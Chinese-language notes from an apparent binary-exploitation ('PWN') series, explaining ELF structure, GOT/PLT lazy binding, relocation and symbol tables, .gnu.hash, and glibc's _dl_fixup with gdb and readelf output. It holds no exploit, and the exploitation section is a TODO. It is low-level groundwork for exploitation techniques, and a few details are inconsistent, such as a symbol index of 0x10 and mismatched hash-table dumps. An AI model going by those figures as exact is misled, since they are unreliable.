gdb-peda$ x/w 0x804a008 91 | 0x804a008: 0xb7ff24b0 92 | gdb-peda$ disassemble 0xb7ff24b0 93 | Dump of assembler code for function _dl_runtime_resolve: 94 | 0xb7ff24b0 <+0>: push eax 95 | 0xb7ff24b1 <+1>: push ecx 96 | 0xb7ff24b2 <+2>: push edx 97 | 0xb7ff24b3 <+3>: mov edx,DWORD PTR [esp+0x10] 98 | 0xb7ff24b7 <+7>: mov eax,DWORD PTR [esp+0xc] 99 | 0xb7ff24bb <+11>: call 0xb7fec080 <_dl_fixup> 100 | 0xb7ff24c0 <+16>: pop edx 101 | 0xb7ff24c1 <+17>: mov ecx,DWORD PTR [esp] 102 | 0xb7ff24c4 <+20>: mov DWORD PTR [esp],eax 103 | 0xb7ff24c7 <+23>: mov eax,DWORD PTR [esp+0x4] 104 | 0xb7ff24cb <+27>: ret 0xc 105 | End of assembler dump. 106 | ``` 107 | 108 | 这里暂时不管 `_dl_fixup` 细节, 可以发现初始化完毕后 `.got.plt` 中第四项变为 `printf` 真实地址, 同时 `ret 0xc(参数表明pop多少字节)` 跳转到 `printf` 继续执行. 109 | 110 | ``` 111 | gdb-peda$ info registers sp 112 | sp 0xbffff66c 0xbffff66c 113 | gdb-peda$ x/4w 0xbffff66c #sp地址 114 | 0xbffff66c: 0xb7e71410 0x00000001 0xb7fff938 0x00000000 115 | gdb-peda$ x/4w 0x0804a000 # .got.plt 函数引用表 116 | 0x804a000: 0x08049f14 0xb7fff938 0xb7ff24b0 0xb7e71410 117 | gdb-peda$ disassemble _dl_runtime_resolve 118 | Dump of assembler code for function _dl_runtime_resolve: 119 | 0xb7ff24b0 <+0> : push eax 120 | 0xb7ff24b1 <+1> : push ecx 121 | 0xb7ff24b2 <+2> : push edx 122 | 0xb7ff24b3 <+3> : mov edx,DWORD PTR [esp+0x10] 123 | 0xb7ff24b7 <+7> : mov eax,DWORD PTR [esp+0xc] 124 | 0xb7ff24bb <+11>: call 0xb7fec080 <_dl_fixup> 125 | 0xb7ff24c0 <+16>: pop edx 126 | 0xb7ff24c1 <+17>: mov ecx,DWORD PTR [esp] 127 | 0xb7ff24c4 <+20>: mov DWORD PTR [esp],eax 128 | 0xb7ff24c7 <+23>: mov eax,DWORD PTR [esp+0x4] 129 | => 0xb7ff24cb <+27>: ret 0xc 130 | End of assembler dump. 131 | ``` 132 | 133 | 当跳到 `.plt` 进行重定位时进行了 `push 0x0`, 其中 `0x0` 相当于 `.rel.plt` 中的偏移量, 根据 `Elf32_Rel` 结构进行重定位, `printf_retloc.r_offset= 0x0804a00c` 对应 `.got.plt` 中的第四项, 134 | 135 | ``` 136 | gdb-peda$ x/8x 0x0804829c # .rel.plt 重定位表 137 | 0x804829c: 0x0804a00c 0x00000107 0x0804a010 0x00000207 138 | 0x80482ac: 0x0804a014 0x00000307 0x08ec8353 0x000093e8 139 | ``` 140 | 141 | #### 分析 `_dl_fixup` 函数(`eglibc-2.19/elf/dl-runtime.c`) 142 | 143 | 参考链接: 144 | 145 | ``` 146 | http://blog.chinaunix.net/uid-21471835-id-441227.html 147 | ``` 148 | 149 | 先把几个宏定义列举出来 (`eglibc-2.19/sysdeps/i386/ldsodefs.h`) 150 | 151 | ``` 152 | /* All references to the value of l_info[DT_PLTGOT], 153 | l_info[DT_STRTAB], l_info[DT_SYMTAB], l_info[DT_RELA], 154 | l_info[DT_REL], l_info[DT_JMPREL], and l_info[VERSYMIDX (DT_VERSYM)] 155 | have to be accessed via the D_PTR macro. The macro is needed since for 156 | most architectures the entry is already relocated - but for some not 157 | and we need to relocate at access time. */ 158 | #ifdef DL_RO_DYN_SECTION 159 | # define D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr) 160 | #else 161 | # define D_PTR(map, i) (map)->i->d_un.d_ptr 162 | #endi 163 | 164 | /* Result of the lookup functions and how to retrieve the base address. */ 165 | typedef struct link_map *lookup_t; 166 | #define LOOKUP_VALUE(map) map 167 | #define LOOKUP_VALUE_ADDRESS(map) ((map) ? (map)->l_addr : 0 168 | ``` 169 | 170 | ``` 171 | #if (!ELF_MACHINE_NO_RELA && !defined ELF_MACHINE_PLT_REL) \ 172 | || ELF_MACHINE_NO_REL 173 | # define PLTREL ElfW(Rela) 174 | #else 175 | # define PLTREL ElfW(Rel) 176 | #endif 177 | 178 | /* The fixup functions might have need special attributes. If none 179 | are provided define the macro as empty. */ 180 | #ifndef ARCH_FIXUP_ATTRIBUTE 181 | # define ARCH_FIXUP_ATTRIBUTE 182 | #endif 183 | 184 | #ifndef reloc_offset 185 | # define reloc_offset reloc_arg 186 | # define reloc_index reloc_arg / sizeof (PLTREL) 187 | #endif 188 | 189 | 190 | 191 | /* This function is called through a special trampoline from the PLT the 192 | first time each PLT entry is called. We must perform the relocation 193 | specified in the PLT of the given shared object, and return the resolved 194 | function address to the trampoline, which will restart the original call 195 | to that address. Future calls will bounce directly from the PLT to the 196 | function. */ 197 | 198 | DL_FIXUP_VALUE_TYPE 199 | attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE 200 | _dl_fixup ( 201 | # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS 202 | ELF_MACHINE_RUNTIME_FIXUP_ARGS, 203 | # endif 204 | struct link_map *l, ElfW(Word) reloc_arg) // 两个参数, link_map 地址, 需要重定位符号的偏移 205 | { 206 | // D_PTR :访问 link_map 必须通过这个宏 207 | // 动态链接符号表 208 | const ElfW(Sym) *const symtab 209 | = (const void *) D_PTR (l, l_info[DT_SYMTAB]); 210 | // 动态链接字符串表 211 | const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); 212 | 213 | // reloc_offset即_dl_fixup的第二个参数, 函数符号在 `.rel.plt` 中的偏移. 214 | // 获取对应重定位表中的结构 215 | const PLTREL *const reloc 216 | = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); 217 | # 获取对应符号表的结构 218 | const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; 219 | # 获取需要重定向入口, 根据 R_386_JUMP_SLOT 计算方法, 对应 `.got.plt` 中函数引用地址 220 | void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); 221 | lookup_t result; 222 | DL_FIXUP_VALUE_TYPE value; 223 | 224 | /* Sanity check that we're really looking at a PLT relocation. */ 225 | /* 检查重定位方式必须是ELF_MACHINE_JMP_SLOT */ 226 | assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); 227 | 228 | /* Look up the target symbol. If the normal lookup rules are not 229 | used don't look in the global scope. */ 230 | if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) 231 | { 232 | const struct r_found_version *version = NULL; 233 | 234 | if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) 235 | { 236 | const ElfW(Half) *vernum = 237 | (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); 238 | ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; 239 | version = &l->l_versions[ndx]; 240 | if (version->hash == 0) 241 | version = NULL; 242 | } 243 | 244 | /* We need to keep the scope around so do some locking. This is 245 | not necessary for objects which cannot be unloaded or when 246 | we are not using any threads (yet). */ 247 | int flags = DL_LOOKUP_ADD_DEPENDENCY; 248 | if (!RTLD_SINGLE_THREAD_P) 249 | { 250 | THREAD_GSCOPE_SET_FLAG (); 251 | flags |= DL_LOOKUP_GSCOPE_LOCK; 252 | } 253 | 254 | #ifdef RTLD_ENABLE_FOREIGN_CALL 255 | RTLD_ENABLE_FOREIGN_CALL; 256 | #endif 257 | // 查找定义该符号的模块的装载地址, result的类型为link_map, 注意这里调用后, sym 变为 libc.so.6 中的printf的符号Sym结构,sym->st_value 为printf符号在libc.so.6中段偏移 258 | result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, 259 | version, ELF_RTYPE_CLASS_PLT, flags, NULL); 260 | 261 | /* We are done with the global scope. */ 262 | if (!RTLD_SINGLE_THREAD_P) 263 | THREAD_GSCOPE_RESET_FLAG (); 264 | 265 | #ifdef RTLD_FINALIZE_FOREIGN_CALL 266 | RTLD_FINALIZE_FOREIGN_CALL; 267 | #endif 268 | 269 | /* Currently result contains the base load address (or link map) 270 | of the object that defines sym. Now add in the symbol 271 | offset. */ 272 | /* 根据模块装载地址和函数符号的段偏移获得函数的实际地址 */ 273 | value = DL_FIXUP_MAKE_VALUE (result, 274 | sym ? (LOOKUP_VALUE_ADDRESS (result) 275 | + sym->st_value) : 0); 276 | } 277 | else 278 | { 279 | /* We already found the symbol. The module (and therefore its load 280 | address) is also known. */ 281 | value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); 282 | result = l; 283 | } 284 | 285 | /* And now perhaps the relocation addend. */ 286 | value = elf_machine_plt_value (l, reloc, value); 287 | 288 | if (sym != NULL 289 | && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0)) 290 | value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); 291 | 292 | /* Finally, fix up the plt itself. */ 293 | if (__builtin_expect (GLRO(dl_bind_not), 0)) 294 | return value; 295 | 296 | # 修正.got.plt函数引用地址(rel_addr)的值为printf的地址 297 | return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); 298 | } 299 | ``` 300 | 301 | ``` 302 | gdb-peda$ p reloc->r_info //重定位符号在符号表中的索引 303 | $1 = 0x107 304 | gdb-peda$ p reloc->r_offset //重定位的入口偏移 305 | $2 = 0x804a00c 306 | gdb-peda$ p sym //未执行_dl_lookup_symbol_x 307 | $3 = (const Elf32_Sym *) 0x80481dc 308 | 309 | gdb-peda$ p sym //执行_dl_lookup_symbol_x后 310 | $2 = (const Elf32_Sym *) 0xb7e2a6d4 311 | gdb-peda$ p sym->st_value //执行_dl_lookup_symbol_x后, sym指向发生改变, printf符号的在libc.so.6段偏移 312 | $9 = 0x4d410 313 | gdb-peda$ p result->l_addr //模块装载地址 314 | $10 = 0xb7e24000 315 | gdb-peda$ disassemble 0x4d410+0xb7e24000 316 | Dump of assembler code for function __printf: 317 | 0xb7e71410 <+0>: push ebx 318 | 0xb7e71411 <+1>: sub esp,0x18 319 | 0xb7e71414 <+4>: call 0xb7f4a7db <__x86.get_pc_thunk.bx> 320 | 0xb7e71419 <+9>: add ebx,0x15dbe7 321 | 0xb7e7141f <+15>: lea eax,[esp+0x24] 322 | 0xb7e71423 <+19>: mov DWORD PTR [esp+0x8],eax 323 | 0xb7e71427 <+23>: mov eax,DWORD PTR [esp+0x20] 324 | 0xb7e7142b <+27>: mov DWORD PTR [esp+0x4],eax 325 | 0xb7e7142f <+31>: mov eax,DWORD PTR [ebx-0x70] 326 | 0xb7e71435 <+37>: mov eax,DWORD PTR [eax] 327 | 0xb7e71437 <+39>: mov DWORD PTR [esp],eax 328 | 0xb7e7143a <+42>: call 0xb7e67810 <_IO_vfprintf_internal> 329 | 0xb7e7143f <+47>: add esp,0x18 330 | 0xb7e71442 <+50>: pop ebx 331 | 0xb7e71443 <+51>: ret 332 | End of assembler dump. 333 | ``` 334 | 335 | #### 利用场景 336 | 337 | ``` 338 | TODO 339 | ``` 340 | 341 | #### 参考链接 342 | 343 | ``` 344 | <程序员自我修养> 345 | 346 | http://www.longene.org/techdoc/0750005001224576724.html 347 | http://blog.chinaunix.net/uid-21471835-id-441227.html(很全) 348 | 349 | https://www.ibm.com/developerworks/cn/linux/l-elf/part1/ 350 | 351 | ``` 352 | 353 | 354 | -------------------------------------------------------------------------------- /PWN之ELF解析.md: -------------------------------------------------------------------------------- 1 | 本文对于 ELF 的结构的解释知识更偏于实践, 需要对 ELF 的结构知识有一定的了解. 2 | 3 | 4 | #### 参考资料 5 | 6 | ``` 7 | <程序员自我修养> 8 | `refs/elf/*` 9 | ``` 10 | 11 | ## ELF 解析 12 | 13 | 在解释ELF结构时以下面源码为例子: 14 | 15 | ``` 16 | #include 17 | 18 | int helloWorld(){ 19 | printf("HelloWorld, %d\n", 1); 20 | return 0; 21 | } 22 | 23 | int main(){ 24 | helloWorld(); 25 | printf("HelloWorld, %d\n", 1); 26 | return 0; 27 | } 28 | ``` 29 | 30 | 查看ELF的 `section` 31 | 32 | ``` 33 | ➜ elf readelf -S test 34 | There are 30 section headers, starting at offset 0x1154: 35 | 36 | Section Headers: 37 | [Nr] Name Type Addr Off Size ES Flg Lk Inf Al 38 | [ 0] NULL 00000000 000000 000000 00 0 0 0 39 | [ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1 40 | [ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4 41 | [ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4 42 | [ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4 43 | [ 5] .dynsym DYNSYM 080481cc 0001cc 000050 10 A 6 1 4 44 | [ 6] .dynstr STRTAB 0804821c 00021c 00004c 00 A 0 0 1 45 | [ 7] .gnu.version VERSYM 08048268 000268 00000a 02 A 5 0 2 46 | [ 8] .gnu.version_r VERNEED 08048274 000274 000020 00 A 6 1 4 47 | [ 9] .rel.dyn REL 08048294 000294 000008 08 A 5 0 4 48 | [10] .rel.plt REL 0804829c 00029c 000018 08 A 5 12 4 49 | [11] .init PROGBITS 080482b4 0002b4 000023 00 AX 0 0 4 50 | [12] .plt PROGBITS 080482e0 0002e0 000040 04 AX 0 0 16 51 | [13] .text PROGBITS 08048320 000320 0001a2 00 AX 0 0 16 52 | [14] .fini PROGBITS 080484c4 0004c4 000014 00 AX 0 0 4 53 | [15] .rodata PROGBITS 080484d8 0004d8 000018 00 A 0 0 4 54 | [16] .eh_frame_hdr PROGBITS 080484f0 0004f0 000034 00 A 0 0 4 55 | [17] .eh_frame PROGBITS 08048524 000524 0000d0 00 A 0 0 4 56 | [18] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4 57 | [19] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4 58 | [20] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4 59 | [21] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4 60 | [22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4 61 | [23] .got.plt PROGBITS 0804a000 001000 000018 04 WA 0 0 4 62 | [24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4 63 | [25] .bss NOBITS 0804a020 001020 000004 00 WA 0 0 1 64 | [26] .comment PROGBITS 00000000 001020 00002b 01 MS 0 0 1 65 | [27] .shstrtab STRTAB 00000000 00104b 000106 00 0 0 1 66 | [28] .symtab SYMTAB 00000000 001604 000440 10 29 45 4 67 | [29] .strtab STRTAB 00000000 001a44 00025c 00 0 0 1 68 | Key to Flags: 69 | W (write), A (alloc), X (execute), M (merge), S (strings) 70 | I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) 71 | O (extra OS processing required) o (OS specific), p (processor specific) 72 | ``` 73 | 74 | 下面对几个 `section` 具体解释. 这里有几点需要注意的是, 这里大部分讨论的是动态链接相关的 `section`, 很多是采用 `gdb` 查看相关内存, 这属于已经将 `ELF` 文件加载进入内存, 当加载 `ELF` 进入内存时, 属于以 `Segment` 的形式进行加载, 部分 `section` 并没有被加载. 具体文件内偏移与内存虚拟地址的对应可以参考, `readelf -l hello` 结果. 75 | 76 | ``` 77 | ➜ elf readelf -l hello 78 | 79 | Elf file type is EXEC (Executable file) 80 | Entry point 0x8048350 81 | There are 9 program headers, starting at offset 52 82 | 83 | Program Headers: 84 | Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align 85 | PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4 86 | INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1 87 | [Requesting program interpreter: /lib/ld-linux.so.2] 88 | LOAD 0x000000 0x08048000 0x08048000 0x0062c 0x0062c R E 0x1000 89 | LOAD 0x000f08 0x08049f08 0x08049f08 0x0011c 0x00120 RW 0x1000 90 | DYNAMIC 0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW 0x4 91 | NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4 92 | GNU_EH_FRAME 0x000554 0x08048554 0x08048554 0x0002c 0x0002c R 0x4 93 | GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10 94 | GNU_RELRO 0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R 0x1 95 | 96 | Section to Segment mapping: 97 | Segment Sections... 98 | 00 99 | 01 .interp 100 | 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 101 | 03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss 102 | 04 .dynamic 103 | 05 .note.ABI-tag .note.gnu.build-id 104 | 06 .eh_frame_hdr 105 | 07 106 | 08 .init_array .fini_array .jcr .dynamic .got 107 | ``` 108 | 109 | ## ELF Section 110 | #### `.got.plt` 表 111 | > `ELF` 将 `GOT` 拆分为两个表, `.got` 和 `.got.plt`. 其中 `.got` 用来保存全局变量引用的地址, `.got.plt` 用来保存函数引用的地址, 对于外部函数的引用全部放在 `.got.plt` 中. `<程序员的自我修养> P201` 112 | 113 | **结构** 114 | 115 | 前三项是固定的, 第一项是 `.dynamic` 的地址, 第二项是 `link_map` 的地址, 第三项是 `_dl_runtime_resolve()` 的地址, 之后就是每个外部函数的引用的数据结构 `Elf32_Rel`, 下面是对应 `eglibc-2.19/elf/elf.h` 的具体结构. 116 | 117 | ``` 118 | typedef struct 119 | { 120 | Elf32_Addr r_offset; /* Address */ 121 | Elf32_Word r_info; /* Relocation type and symbol index */ 122 | } Elf32_Rel 123 | ``` 124 | 125 | 这里额外提一点, `link_map` 是一个很重要的数据结构, 记录了所有加载的动态链接库. 126 | 127 | **未执行前`.got.plt`结构** 128 | 129 | `.got.plt` 中对应的前四项 130 | 131 | ``` 132 | #对应.got.plt 133 | gdb-peda$ x/4w 0x0804a000 134 | 0x804a000: 0x08049f14 0x00000000 0x00000000 0x080482f6 135 | ``` 136 | 137 | `.plt(延迟绑定)` 中对应的实现 138 | 139 | ``` 140 | gdb-peda$ x/4i 0x80482f0 #对应.plt 141 | 0x80482f0 : jmp DWORD PTR ds:0x804a00c 142 | 0x80482f6 : push 0x0 143 | 0x80482fb : jmp 0x80482e0 144 | ``` 145 | 146 | 可以看到 `.dynamic` 对应的地址是 `0x08049f14`, 后两项由于未初始化为空, `0x080482f6` 为第一个外部函数的引用地址, 此时没有初始化, 会跳转到 `.plt` 表进行初始化, 初始化后会修改 `0x080482f6` 为 `printf` 的地址. (至于为什么是 `0x080482f6`, 而不是 `0x80482f0`, 因为没有初始化, 需要从 `0x80482f6` 地址开始进行初始化, 当初始化完毕后才会从 `0x80482f0` 直接跳转到 `printf` 地址继续执行) 147 | 148 | 149 | **初始化完毕 `.got.plt` 结构** 150 | 151 | `.got.plt` 中对应的前四项 152 | 153 | ``` 154 | #.got.plt 155 | gdb-peda$ x/4w 0x0804a000 156 | 0x804a000: 0x08049f14 0xb7fff938 0xb7ff24b0 0xb7e71410 157 | ``` 158 | 159 | 此时 `.got.plt` 中的 `printf@plt` 已经被修改为查找到的 `printf` 内存地址. 160 | 161 | #### `.plt` 延迟绑定表(`<程序员自我修养> P201`) 162 | 163 | ``` 164 | gdb-peda$ disassemble helloWorld 165 | Dump of assembler code for function helloWorld: 166 | 0x0804841d <+0>: push ebp 167 | 0x0804841e <+1>: mov ebp,esp 168 | 0x08048420 <+3>: sub esp,0x18 169 | 0x08048423 <+6>: mov DWORD PTR [esp+0x4],0x1 170 | 0x0804842b <+14>: mov DWORD PTR [esp],0x80484e0 171 | 0x08048432 <+21>: call 0x80482f0 172 | 0x08048437 <+26>: mov eax,0x0 173 | 0x0804843c <+31>: leave 174 | 0x0804843d <+32>: ret 175 | End of assembler dump. 176 | ``` 177 | 178 | 负责延迟加载, 当第一次调用时, 会用 `_dl_runtime_resolve()` 去初始化 `.got.plt` 中的函数引用地址. 179 | 180 | 这里以 `printf@plt` 对应的实现为例子. 181 | ``` 182 | gdb-peda$ x/4i 0x80482f0 183 | 0x80482f0 : jmp DWORD PTR ds:0x804a00c 184 | 0x80482f6 : push 0x0 185 | 0x80482fb : jmp 0x80482e0 186 | ``` 187 | 188 | #### `.dynsym` 和 `.dynstr` (`.symtab` 和 `.strtab`) 189 | 190 | `.dynsym` 中保存的是 `Elf32_Sym` 结构, 下面对应的是 `eglibc-2.19/elf/elf.h` 具体结构. 191 | 192 | ``` 193 | typedef struct 194 | { 195 | Elf32_Word st_name; /* Symbol name (string tbl index) */ 196 | Elf32_Addr st_value; /* Symbol value */ 197 | Elf32_Word st_size; /* Symbol size */ 198 | unsigned char st_info; /* Symbol type and binding */ 199 | unsigned char st_other; /* Symbol visibility */ 200 | Elf32_Section st_shndx; /* Section index */ 201 | } Elf32_Sym 202 | ``` 203 | 204 | `.dynstr` 保存的字符串, 具体存放格式 ` 中 Book I: String Table` 或者 `<程序员自我修养> P80` 205 | 206 | 这里举一个例子实践, 通过 `readelf --dyn-syms test` 的结果与内存中 `Elf32_Sym` 对比观察 `_IO_stdin_used`. 207 | 208 | ``` 209 | #下面需要用到这些计算结果 210 | #sizeof(Elf32_Sym) == 0x10 211 | #.dynstr == 0x00021c 212 | #.dynsym == 0x0001cc 213 | ➜ elf python -c 'print int(5 * 0x10)';python -c 'print hex(0x00021c+0xb)' 214 | 80 215 | 0x227 216 | ➜ elf readelf --dyn-syms test 217 | 218 | Symbol table '.dynsym' contains 5 entries: 219 | Num: Value Size Type Bind Vis Ndx Name 220 | 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 221 | 1: 00000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.0 (2) 222 | 2: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 223 | 3: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2) 224 | 4: 080484fc 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used 225 | #从 0x0000020c 开始对应的是 _IO_stdin_used 的 Elf32_Sym. 226 | ➜ elf hexdump -s 0x0001cc -n 80 -C test 227 | 000001cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 228 | 000001dc 1a 00 00 00 00 00 00 00 00 00 00 00 12 00 00 00 |................| 229 | 000001ec 33 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 |3........... ...| 230 | 000001fc 21 00 00 00 00 00 00 00 00 00 00 00 12 00 00 00 |!...............| 231 | 0000020c 0b 00 00 00 fc 84 04 08 04 00 00 00 11 00 0f 00 |................| 232 | 0000021c 233 | #从 _IO_stdin_used 的 Elf32_Sym 结构可以发现对应的 .dynstr 的索引为 0xb. 234 | ➜ elf hexdump -s 0x227 -n 15 -C test #根据 .dynsym 中的 Elf32_Sym 结构查找到对应字符串, 235 | 00000227 5f 49 4f 5f 73 74 64 69 6e 5f 75 73 65 64 00 |_IO_stdin_used.| 236 | 00000236 237 | ``` 238 | 239 | #### `.rel.plt` 重定位表 240 | 241 | 查看需要重定位的函数引用 242 | 243 | ``` 244 | ➜ elf readelf -r test 245 | 246 | Relocation section '.rel.dyn' at offset 0x294 contains 1 entries: 247 | Offset Info Type Sym.Value Sym. Name 248 | 08049ffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__ 249 | 250 | Relocation section '.rel.plt' at offset 0x29c contains 3 entries: 251 | Offset Info Type Sym.Value Sym. Name 252 | 0804a00c 00000107 R_386_JUMP_SLOT 00000000 printf 253 | 0804a010 00000207 R_386_JUMP_SLOT 00000000 __gmon_start__ 254 | 0804a014 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main 255 | ``` 256 | 257 | 这里通过一个例子实践. 查看 `printf` 对应的 `Elf32_Rel` 结构, `0x804a00c` 重定位的入口偏移(未初始化前存放的是对应 `.plt` 的初始化代码, 初始化后存放 `printf` 内存地址), `0x107` 低8位表示重定位入口类型为 `R_386_JUMP_SLOT(7)`, 高24位表示在 `.dynsym` 中的下标, 这里为 `0x10`. 258 | 259 | ``` 260 | #.rel.plt == 0x0804829c 261 | gdb-peda$ x/6w 0x0804829c 262 | 0x804829c: 0x804a00c 0x107 0x804a010 0x207 263 | 0x80482ac: 0x804a014 0x307 264 | gdb-peda$ x/w 0x804a00c 265 | 0x804a00c : 0x80482f6 266 | ➜ elf readelf -r test 267 | 268 | Relocation section '.rel.dyn' at offset 0x294 contains 1 entries: 269 | Offset Info Type Sym.Value Sym. Name 270 | 08049ffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__ 271 | 272 | Relocation section '.rel.plt' at offset 0x29c contains 3 entries: 273 | Offset Info Type Sym.Value Sym. Name 274 | 0804a00c 00000107 R_386_JUMP_SLOT 00000000 printf 275 | 0804a010 00000207 R_386_JUMP_SLOT 00000000 __gmon_start__ 276 | 0804a014 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main 277 | 278 | #这里可以发现, printf@GLIBC_2.0 (2) 对应 Num 为 1, 正好对应之前的 0x10 279 | ➜ elf readelf --dyn-syms test 280 | 281 | Symbol table '.dynsym' contains 5 entries: 282 | Num: Value Size Type Bind Vis Ndx Name 283 | 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 284 | 1: 00000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.0 (2) 285 | 2: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 286 | 3: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2) 287 | 4: 080484fc 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used 288 | ``` 289 | 290 | #### `.gnu.hash` 表 291 | 292 | 参考链接: 293 | 294 | ``` 295 | #大致意思就是目前默认生成新的hash表, 也就是.gnu.hash 296 | http://pank.org/blog/2007/10/gcc-hashstylegnu.html 297 | #实例代码更接近实际 298 | https://sourceware.org/ml/binutils/2006-10/msg00377.html 299 | https://www.sourceware.org/ml/binutils/2006-06/msg00418.html 300 | #最为详细 301 | https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections 302 | ``` 303 | 304 | `.gnu.hash` 的作用, 主要是利用 `Bloom Filter`, 在常量时间内判断, 字符是否存在, 以及对应 `.dynsym` 的位置. 使用 `gcc -g -o hello -Wl,--hash-style=sysv(gnu) hello.c` 可以产生旧版本的 `hash` 表. 305 | 306 | `.gnu.hash` 结构说明: 307 | 308 | ``` 309 | Header 310 | An array of (4) 32-bit words providing section parameters: 311 | nbuckets 312 | The number of hash buckets 313 | symndx 314 | The dynamic symbol table has dynsymcount symbols. symndx is the index of the first symbol in the dynamic symbol table that is to be accessible via the hash table. This implies that there are (dynsymcount - symndx) symbols accessible via the hash table. 315 | 第一个需要hash的symbol 316 | maskwords 317 | The number of ELFCLASS sized words in the Bloom filter portion of the hash table section. This value must be non-zero, and must be a power of 2 as explained below. 318 | Note that a value of 0 could be interpreted to mean that no Bloom filter is present in the hash section. However, the GNU linkers do not do this — the GNU hash section always includes at least 1 mask word. 319 | Bloom filter中掩码个数, 每个掩码可以为32位大小, 或者64位大小 320 | shift2 321 | A shift count used by the Bloom filter. 322 | 另一个hash函数 323 | Bloom Filter(32位大小) 324 | GNU_HASH sections contain a Bloom filter. This filter is used to rapidly reject attempts to look up symbols that do not exist in the object. The Bloom filter words are 32-bit for ELFCLASS32 objects, and 64-bit for ELFCLASS64. 325 | Bloom filter中的掩码 326 | Hash Buckets(32位大小) 327 | An array of nbuckets 32-bit hash buckets 328 | hash 桶 329 | Hash Values(32位大小) 330 | An array of (dynsymcount - symndx) 32-bit hash chain values, one per symbol from the second part of the dynamic symbol table. 331 | hash 值, 需要计算, 下文会有具体计算方法 332 | ``` 333 | 查看 `.gnu.hash` 结构, 使用 `hexdump` 或者 `gdb` 都可以查看. 334 | 335 | ``` 336 | ➜ elf hexdump -s 0x0001ac -n 32 -e '4/4 "%04X " " | "' -e '16/1 "%_p" "\n"' test 337 | 0002 0004 0001 0005 | ................ 338 | 20002000 0000 0004 C0E34BAD | . . .........K.. 339 | 340 | ``` 341 | 342 | ``` 343 | gdb-peda$ x/8w 0x080481ac 344 | 0x80481ac: 0x2 0x5 0x1 0x5 345 | 0x80481bc: 0x20002000 0x0 0x5 0xc0e34bad 346 | ``` 347 | 查看动态符号表 348 | 349 | ``` 350 | ➜ elf readelf --dyn-syms test 351 | 352 | Symbol table '.dynsym' contains 6 entries: 353 | Num: Value Size Type Bind Vis Ndx Name 354 | 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 355 | 1: 00000000 0 FUNC GLOBAL DEFAULT UND malloc@GLIBC_2.0 (2) 356 | 2: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2) 357 | 3: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 358 | 4: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2) 359 | 5: 0804851c 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used 360 | ``` 361 | 362 | 363 | 对应说明, `nbuckets == 2` 表明有两个 `dynsym` 需要hash, `symndx == 5` 表明第1个需要hash的`dymsym` 的 `num == 4`, `maskwords == 1` 表明有 `1` 个 `Bloom filter` 掩码, `shift2 == 5` 表明另一个 `hash` 函数为 `>>5` (查看 `Bloom filter` 算法结构定义, 这里使用了`k = 2` 个 `hash` 函数, 同时设置 `hash` 值对应位置为 `1`, 防止误判) 364 | 365 | `20002000` 